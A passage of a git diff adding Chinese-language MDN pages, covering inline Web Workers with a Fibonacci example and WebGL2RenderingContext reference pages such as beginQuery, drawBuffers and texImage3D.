+  // 该脚本不会被 JS 引擎解析,因为它的 mime-type 是 text/js-worker。
+  onmessage = function (oEvent) {
+    postMessage(myVar);
+  };
+  // 剩下的 worker 代码写到这里。
+</script>
+<script type="text/javascript">
+  // 该脚本会被 JS 引擎解析,因为它的 mime-type 是 text/javascript。
+
+  // 在过去...:
+  // 我们使用 blob builder
+  // ...但是现在我们使用 Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+  // 创建一个新的 document.worker 属性,包含所有 "text/js-worker" 脚本。
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function (oEvent) {
+    pageLog("Received: " + oEvent.data);
+  };
+
+  // 启动 worker.
+  window.onload = function() { document.worker.postMessage(""); };
+</script>
+</head>
+<body><div id="logDisplay"></div></body>
+</html>
+ +

现在,嵌入式 worker 已经嵌套进了一个自定义的 document.worker 属性中。

+ +

这样也不足为奇,你仍然可以将一个函数转换为blob,然后为这个blob生成URL对象。比如:

+ +
function fn2workerURL(fn) {
+  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
+  return URL.createObjectURL(blob)
+}
+
+ +

更多示例

+ +

本节提供了几个如何使用 DOM worker 的例子。

+ +

在后台执行运算

+ +

worker 的一个优势在于能够执行处理器密集型的运算而不会阻塞 UI 线程。在下面的例子中,worker 用于计算斐波那契数。

+ +

JavaScript 代码

+ +

下面的 JavaScript 代码保存在「fibonacci.js」文件中,与下一节的 HTML 文件关联。

+ +
var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i <= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };
+ +

worker 将属性 onmessage 设置为一个函数,当 worker 对象调用 postMessage() 时该函数会接收到发送过来的信息。(注意,这么使用并不等同于定义一个同名的全局变量 ,或是定义一个同名的函数var onmessage 与 function onmessage 将会定义与该名字相同的全局属性,但是它们不会注册能够接收从创建 worker 的网页发送过来的消息的函数。) 这会启用递归,生成自己的新拷贝来处理计算的每一个循环。

+ +

HTML 代码

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8"  />
+    <title>Test threads fibonacci</title>
+  </head>
+  <body>
+
+  <div id="result"></div>
+
+  <script language="javascript">
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  </script>
+  </body>
+</html>
+
+ +

网页创建了一个 div 元素,ID 为 result , 用它来显示运算结果,然后生成 worker。在生成 worker 后,onmessage 处理函数配置为通过设置 div 元素的内容来显示运算结果,然后 onerror 处理函数被设置为 转储 错误信息。

+ +

最后,向 worker 发送一条信息来启动它。

+ +

运行这个例子

+ +

在后台运行 web I/O

+ +

你可以在 在扩展中使用 worker 这篇文章中找到相关例子。

+ +

划分任务给多个 worker

+ +

当多核系统流行开来,将复杂的运算任务分配给多个 worker 来运行已经变得十分有用,这些 worker 会在多处理器内核上运行这些任务。

+ +

其它类型的worker

+ +

除了专用和共享的web worker,还有一些其它类型的worker:

+ + + +

worker中可用的函数和接口

+ +

你可以在web worker中使用大多数的标准javascript特性,包括

+ + + +

在一个worker中最主要的你不能做的事情就是直接影响父页面。包括操作父页面的节点以及使用页面中的对象。你只能间接地实现,通过{{domxref("DedicatedWorkerGlobalScope.postMessage")}}回传消息给主脚本,然后从主脚本那里执行操作或变化。

+ +
+

注意:获取worker中完整的方法列表,请参阅Functions and interfaces available to workers

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#workers', 'Web workers')}}{{Spec2('HTML WHATWG')}}
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/beginquery/index.html b/files/zh-cn/web/api/webgl2renderingcontext/beginquery/index.html new file mode 100644 index 0000000000..ef9c00baea --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/beginquery/index.html @@ -0,0 +1,74 @@ +--- +title: WebGL2RenderingContext.beginQuery() +slug: Web/API/WebGL2RenderingContext/beginQuery +translation_of: Web/API/WebGL2RenderingContext/beginQuery +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL 2 APIWebGL2RenderingContext.beginQuery() 方法启动一个异步查询,target 参数表明是哪种类型的查询。

+ +

语法

+ +
void gl.beginQuery(target, query);
+
+ +

参数

+ +
+
target
+
 {{domxref("GLenum")}} 指定查询个的target, 可能的值有: +
    +
  • gl.ANY_SAMPLES_PASSED: Specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing commands pass the depth test and if so, how many samples pass).
  • +
  • gl.ANY_SAMPLES_PASSED_CONSERVATIVE: 和以上一样, 但是是一个不精确和更快的版本。
  • +
  • gl.TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN: Number of primitives that are written to transform feedback buffers.
  • +
+
+
query
+
一个{{domxref("WebGLQuery")}} 对象用于查询。
+
+ +

返回值

+ +

None.

+ +

例子

+ +
var query = gl.createQuery();
+gl.beginQuery(gl.ANY_SAMPLES_PASSED, query);
+
+// ...
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL2', "#3.7.12", "beginQuery")}}{{Spec2('WebGL2')}}Initial definition.
{{SpecName('OpenGL ES 3.0', "glBeginQuery.xhtml", "glBeginQuery")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容

+ + + +

{{Compat("api.WebGL2RenderingContext.beginQuery")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/begintransformfeedback/index.html b/files/zh-cn/web/api/webgl2renderingcontext/begintransformfeedback/index.html new file mode 100644 index 0000000000..eb16d118a6 --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/begintransformfeedback/index.html @@ -0,0 +1,79 @@ +--- +title: WebGL2RenderingContext.beginTransformFeedback() +slug: Web/API/WebGL2RenderingContext/beginTransformFeedback +tags: + - API + - WebGL + - WebGL2 + - 参考 + - 实验性 + - 方法 +translation_of: Web/API/WebGL2RenderingContext/beginTransformFeedback +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL 2 API 的 WebGL2RenderingContext.beginTransformFeedback() 方法开始一个变换回传(Transform Feedback)操作。

+ +

语法

+ +
void gl.beginTransformFeedback(primitiveMode);
+
+ +

参数

+ +
+
primitiveMode
+
A {{domxref("GLenum")}} specifying the output type of the primitives that will be recorded into the buffer objects that are bound for transform feedback. 可能的值: +
    +
  • gl.POINTS
  • +
  • gl.LINES
  • +
  • gl.TRIANGLES
  • +
+
+
+ +

返回值

+ +

无。

+ +

示例

+ +
var transformFeedback = gl.createTransformFeedback();
+gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, transformFeedback);
+gl.beginTransformFeedback(gl.TRIANGLES);
+gl.drawArrays(gl.TRIANGLES, 0, 3);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL2', "#3.7.15", "beginTransformFeedback")}}{{Spec2('WebGL2')}}WebGL中初次定义。
{{SpecName('OpenGL ES 3.0', "glBeginTransformFeedback.xhtml", "glBeginTransformFeedback")}}{{Spec2('OpenGL ES 3.0')}}OpenGL API 页面。
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGL2RenderingContext.beginTransformFeedback")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/bindbufferbase/index.html b/files/zh-cn/web/api/webgl2renderingcontext/bindbufferbase/index.html new file mode 100644 index 0000000000..353373c972 --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/bindbufferbase/index.html @@ -0,0 +1,78 @@ +--- +title: WebGL2RenderingContext.bindBufferBase() +slug: Web/API/WebGL2RenderingContext/bindBufferBase +tags: + - API + - WebGL + - WebGL2 + - 参考 + - 实验性 + - 方法 +translation_of: Web/API/WebGL2RenderingContext/bindBufferBase +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL 2 API 的 WebGL2RenderingContext.bindBufferBase() 方法将一个 {{domxref("WebGLBuffer")}} 绑定到某个点 (target) 的特定的 index上。

+ +

语法

+ +
void gl.bindBufferBase(target, index, buffer);
+ +

参数

+ +
+
target
+
{{domxref("Glenum")}} 指定绑定操作的目标。可能的值: +
    +
  • gl.TRANSFORM_FEEDBACK_BUFFER
  • +
  • gl.UNIFORM_BUFFER
  • +
+
+
index
+
{{domxref("GLuint")}} 指定目标(target)的 index 。
+
buffer
+
绑定到目标点(target)的 {{domxref("WebGLBuffer")}} 。
+
+ +

返回值

+ +

无。

+ +

示例

+ +
gl.bindBufferBase(gl.TRANSFORM_FEEDBACK_BUFFER, 0, buffer);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL2', "#3.7.16", "bindBufferBase")}}{{Spec2('WebGL2')}}WebGL中初次定义。
{{SpecName('OpenGL ES 3.0', "glBindBufferBase.xhtml", "glBindBufferBase")}}{{Spec2('OpenGL ES 3.0')}}OpenGL API 页面。
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGL2RenderingContext.bindBufferBase")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/createsampler/index.html b/files/zh-cn/web/api/webgl2renderingcontext/createsampler/index.html new file mode 100644 index 0000000000..c9aa1b16e1 --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/createsampler/index.html @@ -0,0 +1,62 @@ +--- +title: WebGL2RenderingContext.createSampler() +slug: Web/API/WebGL2RenderingContext/createSampler +translation_of: Web/API/WebGL2RenderingContext/createSampler +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL 2 API 定义的 WebGL2RenderingContext.createSampler() 方法用于创建并初始化 {{domxref("WebGLSampler")}} 对象.

+ +

句法

+ +
WebGLSampler gl.createSampler();
+
+ +

参数

+ +

无.

+ +

返回值

+ +

{{domxref("WebGLSampler")}} 对象.

+ +

例子

+ +

gl 必须是 {{domxref("WebGL2RenderingContext")}} 类型. WebGL 1 不支持  WebGLSampler 对象.

+ +
var sampler = gl.createSampler();
+
+ +

相关规范

+ + + + + + + + + + + + + + + + + + + +
规范名状态备注
{{SpecName('WebGL2', "#3.7.13", "createSampler")}}{{Spec2('WebGL2')}}初稿.
{{SpecName('OpenGL ES 3.0', "glGenSamplers.xhtml", "glGenSamplers")}}{{Spec2('OpenGL ES 3.0')}}OpenGL API 的手册.
+ +

浏览器兼容

+ + + +

{{Compat("api.WebGL2RenderingContext.createSampler")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/createvertexarray/index.html b/files/zh-cn/web/api/webgl2renderingcontext/createvertexarray/index.html new file mode 100644 index 0000000000..e05e7869a1 --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/createvertexarray/index.html @@ -0,0 +1,70 @@ +--- +title: WebGL2RenderingContext.createVertexArray() +slug: Web/API/WebGL2RenderingContext/createVertexArray +tags: + - Method + - WebGL2 +translation_of: Web/API/WebGL2RenderingContext/createVertexArray +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL 2 API 中的 WebGL2RenderingContext.createVertexArray()方法创建并初始化(creates and initializes)一个 {{domxref("WebGLVertexArrayObject")}} 的对象(object) ,它代表一个指向顶点数组数据的顶点数组对象(vertex array object (VAO) ),并为不同的顶点数据集提供名称。

+ +

句法

+ +
WebGLVertexArrayObject gl.createVertexArray();
+
+ +

参数

+ +

没有参数

+ +

返回值

+ +

一个{{domxref("WebGLVertexArrayObject")}}对象 代表 一个顶点数组对象 (VAO) ,该对象指向顶点数据。

+ +

示例

+ +
var vao = gl.createVertexArray();
+gl.bindVertexArray(vao);
+
+// ...
+// calls to bindBuffer or vertexAttribPointer
+// which will be "recorded" in the VAO
+// ...
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL2', "#3.7.17", "createVertexArray")}}{{Spec2('WebGL2')}}Initial definition.
{{SpecName('OpenGL ES 3.0', "glGenVertexArrays.xhtml", "glGenVertexArrays")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGL2RenderingContext.createVertexArray")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/drawbuffers/index.html b/files/zh-cn/web/api/webgl2renderingcontext/drawbuffers/index.html new file mode 100644 index 0000000000..9a8f3f6797 --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/drawbuffers/index.html @@ -0,0 +1,75 @@ +--- +title: WebGL2RenderingContext.drawBuffers() +slug: Web/API/WebGL2RenderingContext/drawBuffers +translation_of: Web/API/WebGL2RenderingContext/drawBuffers +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL 2 APIWebGL2RenderingContext.drawBuffers()  方法定义了将写入零散数据(fragment colors)的绘制缓存(draw buffer)。绘制缓存设置了上一次绑定帧缓存状态,如果没有帧缓存可用的话,则用绘制缓存。

+ +

语法

+ +
void gl.drawBuffers(buffers);
+
+ +

参数

+ +
+
buffers
+
一个 {{domxref("GLenum")}}的{{jsxref("Array")}}} 对碎片颜色的说明将被写入缓冲区。可能的值有: +
    +
  • gl.NONE: 碎片着色器的输出没有被写入到任何颜色缓存中。
  • +
  • gl.BACK: 碎片着色器的输出被写入到返回的颜色缓存中。
  • +
  • gl.COLOR_ATTACHMENT{0-15}: 碎片着色器的输出被写入当前帧缓存的第n个颜色缓存中。Fragment shader output is written in the nth color attachment of the current framebuffer.
  • +
+
+
+ +

返回值

+ +

没有。

+ +

报错信息

+ + + +

例子

+ +
gl.drawBuffers([gl.NONE, gl.COLOR_ATTACHMENT1]);
+
+ +

详情

+ + + + + + + + + + + + + + + + + + + +
详情状态用法(Comment)
{{SpecName('WebGL2', "#3.7.11", "drawBuffers")}}{{Spec2('WebGL2')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 3.0', "glDrawBuffers.xhtml", "glDrawBuffers")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGL2RenderingContext", "WebGL2RenderingContext.drawBuffers")}}

+ +

详见

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/index.html b/files/zh-cn/web/api/webgl2renderingcontext/index.html new file mode 100644 index 0000000000..faac90295a --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/index.html @@ -0,0 +1,272 @@ +--- +title: WebGL2RenderingContext +slug: Web/API/WebGL2RenderingContext +translation_of: Web/API/WebGL2RenderingContext +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL2RenderingContext 接口在底层使用了OpenGL ES 3.0 为 HTML 的 {{HTMLElement("canvas")}} 元素提供了绘图上下文。

+ +

要获取该接口的实例对象需要调用一个  <canvas>  标签对象的 {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} 函数,并将 "webgl2" 作为参数传递:

+ +
var canvas = document.getElementById('myCanvas');
+var gl = canvas.getContext('webgl2');
+
+ +
+

WebGL 2 是 WebGL 1 的扩展。 WebGL2RenderingContext 接口实现了 {{domxref("WebGLRenderingContext")}} 接口的所有成员。 有一些 WebGL 1 上下文中的方法在使用 WebGL 2 上下文的时候可以接受附加值。 您可以通过 WebGL 1 的参考页了解这些信息。

+
+ +

这个 WebGL 教程 中提供了关于如何开始使用 WebGL 的更多信息、示例以及资源。

+ +

常量

+ +

请看 WebGL 常量 页面。

+ +

状态信息

+ +
+
{{domxref("WebGL2RenderingContext.getIndexedParameter()")}}
+
返回指定目标的索引值。
+
+ +

缓冲区

+ +
+
{{domxref("WebGL2RenderingContext.copyBufferSubData()")}}
+
将缓冲区的部分数据复制到另一个缓冲区。
+
{{domxref("WebGL2RenderingContext.getBufferSubData()")}}
+
从缓冲区中读取数据,然后将其写入到 {{jsxref("ArrayBuffer")}} 或 {{jsxref("SharedArrayBuffer")}} 中。
+
+ +

帧缓冲区

+ +
+
{{domxref("WebGL2RenderingContext.blitFramebuffer()")}}
+
将一个像素块从读取帧缓冲区传输到绘制帧缓冲区。
+
{{domxref("WebGL2RenderingContext.framebufferTextureLayer()")}}
+
附着一个单层的材质到帧缓冲区。
+
{{domxref("WebGL2RenderingContext.invalidateFramebuffer()")}}
+
使附着到缓冲区的内容失效。
+
{{domxref("WebGL2RenderingContext.invalidateSubFramebuffer()")}}
+
使附着到缓冲区的部分内容失效。
+
{{domxref("WebGL2RenderingContext.readBuffer()")}}
+
选择一个颜色缓冲作为像素的source。
+
+ +

渲染缓冲区

+ +
+
{{domxref("WebGL2RenderingContext.getInternalformatParameter()")}}
+
Returns information about implementation-dependent support for internal formats.
+
{{domxref("WebGL2RenderingContext.renderbufferStorageMultisample()")}}
+
Creates and initializes a renderbuffer object's data store and allows specifying the number of samples to be used.
+
+ +

纹理

+ +
+
{{domxref("WebGL2RenderingContext.texStorage2D()")}}
+
Specifies all levels of two-dimensional texture storage.
+
{{domxref("WebGL2RenderingContext.texStorage3D()")}}
+
Specifies all levels of a three-dimensional texture or two-dimensional array texture.
+
{{domxref("WebGL2RenderingContext.texImage3D()")}}
+
Specifies a three-dimensional texture image.
+
{{domxref("WebGL2RenderingContext.texSubImage3D()")}}
+
Specifies a sub-rectangle of the current 3D texture.
+
{{domxref("WebGL2RenderingContext.copyTexSubImage3D()")}}
+
Copies pixels from the current WebGLFramebuffer into an existing 3D texture sub-image.
+
{{domxref("WebGL2RenderingContext.compressedTexImage3D()")}}
+
Specifies a three-dimensional texture image in a compressed format.
+
{{domxref("WebGL2RenderingContext.compressedTexSubImage3D()")}}
+
Specifies a three-dimensional sub-rectangle for a texture image in a compressed format.
+
+ +

程序和着色器

+ +
+
{{domxref("WebGL2RenderingContext.getFragDataLocation()")}}
+
Returns the binding of color numbers to user-defined varying out variables.
+
+ +

Uniforms 和 Attributes

+ +
+
{{domxref("WebGL2RenderingContext.uniform()", "WebGL2RenderingContext.uniform[1234][fiu][v]()")}}
+
指定一个uniform变量。
+
{{domxref("WebGL2RenderingContext.uniformMatrix()", "WebGL2RenderingContext.uniformMatrix[1234][fv]()")}}
+
指定一个uniform矩阵变量。
+
{{domxref("WebGL2RenderingContext.vertexAttribI()", "WebGL2RenderingContext.vertexAttribI[iuv]()")}}
+
Methods specifying integer values for generic vertex attributes.
+
{{domxref("WebGL2RenderingContext.vertexAttribIPointer()")}}
+
Specifies integer data formats and locations of vertex attributes in a vertex attributes array.
+
+ +

绘图缓冲区

+ +
+
{{domxref("WebGL2RenderingContext.vertexAttribDivisor()")}}
+
Modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with {{domxref("WebGL2RenderingContext.drawArraysInstanced()", "gl.drawArraysInstanced()")}} and {{domxref("WebGL2RenderingContext.drawElementsInstanced()", "gl.drawElementsInstanced()")}}.
+
{{domxref("WebGL2RenderingContext.drawArraysInstanced()")}}
+
Renders primitives from array data. In addition, it can execute multiple instances of the range of elements.
+
{{domxref("WebGL2RenderingContext.drawElementsInstanced()")}}
+
Renders primitives from array data. In addition, it can execute multiple instances of a set of elements.
+
{{domxref("WebGL2RenderingContext.drawRangeElements()")}}
+
Renders primitives from array data in a given range.
+
{{domxref("WebGL2RenderingContext.drawBuffers()")}}
+
Specifies a list of color buffers to be drawn into.
+
{{domxref("WebGL2RenderingContext.clearBuffer()", "WebGL2RenderingContext.clearBuffer[fiuv]()")}}
+
Clears buffers from the currently bound framebuffer.
+
+ +

查询对象

+ +

Methods for working with {{domxref("WebGLQuery")}} objects.

+ +
+
{{domxref("WebGL2RenderingContext.createQuery()")}}
+
创建一个新的 {{domxref("WebGLQuery")}} 对象.
+
{{domxref("WebGL2RenderingContext.deleteQuery()")}}
+
删除一个指定的 {{domxref("WebGLQuery")}} 对象。
+
{{domxref("WebGL2RenderingContext.isQuery()")}}
+
Returns true if a given object is a valid {{domxref("WebGLQuery")}} object.
+
{{domxref("WebGL2RenderingContext.beginQuery()")}}
+
开始一个异步查询。
+
{{domxref("WebGL2RenderingContext.endQuery()")}}
+
Marks the end of an asynchronous query.
+
{{domxref("WebGL2RenderingContext.getQuery()")}}
+
返回一个指定目标的 {{domxref("WebGLQuery")}} 对象。
+
{{domxref("WebGL2RenderingContext.getQueryParameter()")}}
+
返回关于一个查询的信息。
+
+ +

采样对象

+ +
+
{{domxref("WebGL2RenderingContext.createSampler()")}}
+
Creates a new {{domxref("WebGLSampler")}} object.
+
{{domxref("WebGL2RenderingContext.deleteSampler()")}}
+
Deletes a given {{domxref("WebGLSampler")}} object.
+
{{domxref("WebGL2RenderingContext.bindSampler()")}}
+
Binds a given {{domxref("WebGLSampler")}} to a texture unit.
+
{{domxref("WebGL2RenderingContext.isSampler()")}}
+
Returns true if a given object is a valid {{domxref("WebGLSampler")}} object.
+
{{domxref("WebGL2RenderingContext.samplerParameter()", "WebGL2RenderingContext.samplerParameter[if]()")}}
+
Sets sampler parameters.
+
{{domxref("WebGL2RenderingContext.getSamplerParameter()")}}
+
Returns sampler parameter information.
+
+ +

同步对象

+ +
+
{{domxref("WebGL2RenderingContext.fenceSync()")}}
+
创建一个 {{domxref("WebGLSync")}} 对象并插入到 GL 命令流中。
+
{{domxref("WebGL2RenderingContext.isSync()")}}
+
Returns true if the passed object is a valid {{domxref("WebGLSync")}} object.
+
{{domxref("WebGL2RenderingContext.deleteSync()")}}
+
删除一个指定的 {{domxref("WebGLSync")}} 对象。
+
{{domxref("WebGL2RenderingContext.clientWaitSync()")}}
+
+

Blocks and waits for a {{domxref("WebGLSync")}} object to become signaled or a given timeout to be passed.

+
+
{{domxref("WebGL2RenderingContext.waitSync()")}}
+
Returns immediately, but waits on the GL server until the given {{domxref("WebGLSync")}} object is signaled.
+
{{domxref("WebGL2RenderingContext.getSyncParameter()")}}
+
根据一个 {{domxref("WebGLSync")}} 对象返回参数信息。
+
+ +

变换反馈

+ +
+
{{domxref("WebGL2RenderingContext.createTransformFeedback()")}}
+
创建并初始化 {{domxref("WebGLTransformFeedback")}} 对象。
+
{{domxref("WebGL2RenderingContext.deleteTransformFeedback()")}}
+
删除一个指定的 {{domxref("WebGLTransformFeedback")}} 对象。
+
{{domxref("WebGL2RenderingContext.isTransformFeedback()")}}
+
Returns true if the passed object is a valid {{domxref("WebGLTransformFeedback")}} object.
+
{{domxref("WebGL2RenderingContext.bindTransformFeedback()")}}
+
Binds a passed {{domxref("WebGLTransformFeedback")}} object to the current GL state.
+
{{domxref("WebGL2RenderingContext.beginTransformFeedback()")}}
+
Starts a transform feedback operation.
+
{{domxref("WebGL2RenderingContext.endTransformFeedback()")}}
+
Ends a transform feedback operation.
+
{{domxref("WebGL2RenderingContext.transformFeedbackVaryings()")}}
+
Specifies values to record in {{domxref("WebGLTransformFeedback")}} buffers.
+
{{domxref("WebGL2RenderingContext.getTransformFeedbackVarying()")}}
+
Returns information about varying variables from {{domxref("WebGLTransformFeedback")}} buffers.
+
{{domxref("WebGL2RenderingContext.pauseTransformFeedback()")}}
+
Pauses a transform feedback operation.
+
{{domxref("WebGL2RenderingContext.resumeTransformFeedback()")}}
+
Resumes a transform feedback operation.
+
+ +

Uniform 缓冲对象

+ +
+
{{domxref("WebGL2RenderingContext.bindBufferBase()")}}
+
Binds a given {{domxref("WebGLBuffer")}} to a given binding point (target) at a given index.
+
{{domxref("WebGL2RenderingContext.bindBufferRange()")}}
+
Binds a range of a given {{domxref("WebGLBuffer")}} to a given binding point (target) at a given index.
+
{{domxref("WebGL2RenderingContext.getUniformIndices()")}}
+
+

Retrieves the indices of a number of uniforms within a {{domxref("WebGLProgram")}}.

+
+
{{domxref("WebGL2RenderingContext.getActiveUniforms()")}}
+
Retrieves information about active uniforms within a {{domxref("WebGLProgram")}}.
+
{{domxref("WebGL2RenderingContext.getUniformBlockIndex()")}}
+
Retrieves the index of a uniform block within a {{domxref("WebGLProgram")}}.
+
{{domxref("WebGL2RenderingContext.getActiveUniformBlockParameter()")}}
+
Retrieves information about an active uniform block within a {{domxref("WebGLProgram")}}.
+
{{domxref("WebGL2RenderingContext.getActiveUniformBlockName()")}}
+
Retrieves the name of the active uniform block at a given index within a {{domxref("WebGLProgram")}}.
+
{{domxref("WebGL2RenderingContext.uniformBlockBinding()")}}
+
Assigns binding points for active uniform blocks.
+
+ +

顶点数组对象

+ +

Methods for working with {{domxref("WebGLVertexArrayObject")}} (VAO) objects.

+ +
+
{{domxref("WebGL2RenderingContext.createVertexArray()")}}
+
创建一个新的 {{domxref("WebGLVertexArrayObject")}}。
+
{{domxref("WebGL2RenderingContext.deleteVertexArray()")}}
+
删除一个指定的 {{domxref("WebGLVertexArrayObject")}}。
+
{{domxref("WebGL2RenderingContext.isVertexArray()")}}
+
如果一个指定的 {{domxref("WebGLVertexArrayObject")}} 对象有效则返回 true
+
{{domxref("WebGL2RenderingContext.bindVertexArray()")}}
+
绑定一个指定的 {{domxref("WebGLVertexArrayObject")}} 到缓冲。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL2', "#3.7", "WebGL2RenderingContext")}}{{Spec2('WebGL2')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGL2RenderingContext")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/teximage3d/index.html b/files/zh-cn/web/api/webgl2renderingcontext/teximage3d/index.html new file mode 100644 index 0000000000..97dc1ca928 --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/teximage3d/index.html @@ -0,0 +1,174 @@ +--- +title: WebGL2RenderingContext.texImage3D() +slug: Web/API/WebGL2RenderingContext/texImage3D +translation_of: Web/API/WebGL2RenderingContext/texImage3D +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

WebGL APIWebGLRenderingContext.texImage3D()方法指定一个3d(three-dimensional)纹理贴图。

+ +

语法

+ +
void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, GLintptr offset);
+
+void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, HTMLCanvasElement source);
+void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, HTMLImageElement source);
+void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, HTMLVideoElement source);
+void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, ImageBitmap source);
+void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, ImageData source);
+void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, ArrayBufferView? srcData);
+void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, ArrayBufferView srcData, srcOffset);
+
+ +

参数

+ +
+
target
+
 {{domxref("GLenum")}}指定绑定纹理图像类型。可能值: +
    +
  • gl.TEXTURE_3D: 一个3D贴图
  • +
  • gl.TEXTURE_2D_ARRAY: 一个2D数组贴图
  • +
+
+
level
+
{{domxref("GLint")}}指定细节等级。level0是基础图片等级, n是第n个mipmap纹理衰减等级。(译者注:原文中衰减应该指像素,并且注意,webgl的Mipmapping技术要求顶层图像的行和列的维数均为2的幂)
+
internalformat
+
{{domxref("GLint")}}指定贴图的颜色组成,可能值为: +
    +
  • gl.ALPHA: 忽略红色,绿色,蓝色分量值只读取alpha信息。
  • +
  • gl.RGB: 忽略alpha信息,读取红绿蓝分量
  • +
  • gl.RGBA: 从颜色缓冲(colorBuffer)读取红色,绿色,蓝色和alpha分量
  • +
  • gl.LUMINANCE:每个颜色组件都是亮度组件,alpha值为1.0.
  • +
  • gl.LUMINANCE_ALPHA:每个组件都是亮度/alpha 组件(component) .
  • +
  • gl.R8
  • +
  • gl.R16F
  • +
  • gl.R32F
  • +
  • gl.R8UI
  • +
  • gl.RG8
  • +
  • gl.RG16F
  • +
  • gl.RG32F
  • +
  • gl.RGUI
  • +
  • gl.RGB8
  • +
  • gl.SRGB8
  • +
  • gl.RGB565
  • +
  • gl.R11F_G11F_B10F
  • +
  • gl.RGB9_E5
  • +
  • gl.RGB16F
  • +
  • gl.RGB32F
  • +
  • gl.RGB8UI
  • +
  • gl.RGBA8
  • +
  • gl.SRGB_APLHA8
  • +
  • gl.RGB5_A1
  • +
  • gl.RGBA4444
  • +
  • gl.RGBA16F
  • +
  • gl.RGBA32F
  • +
  • gl.RGBA8UI
  • +
+
+
width
+
 {{domxref("GLsizei")}}指定纹理的宽度
+
height
+
{{domxref("GLsizei")}} 指定纹理的高度
+
depth
+
{{domxref("GLsizei")}} 指定纹理的深度信息
+
border
+
{{domxref("GLint")}}指定边框宽度,必须为0
+
format
+
{{domxref("GLenum")}}制定纹素的版本。正确的 内部格式 组合被列举在 这个列表
+
type
+
A {{domxref("GLenum")}}指定纹素的数据类型,可能值: +
    +
  • gl.UNSIGNED_BYTE: 每个gl.RGBA对应8个字节
  • +
  • gl.UNSIGNED_SHORT_5_6_5: 红色占五个字节,绿色占六个字节,蓝色占五个字节
  • +
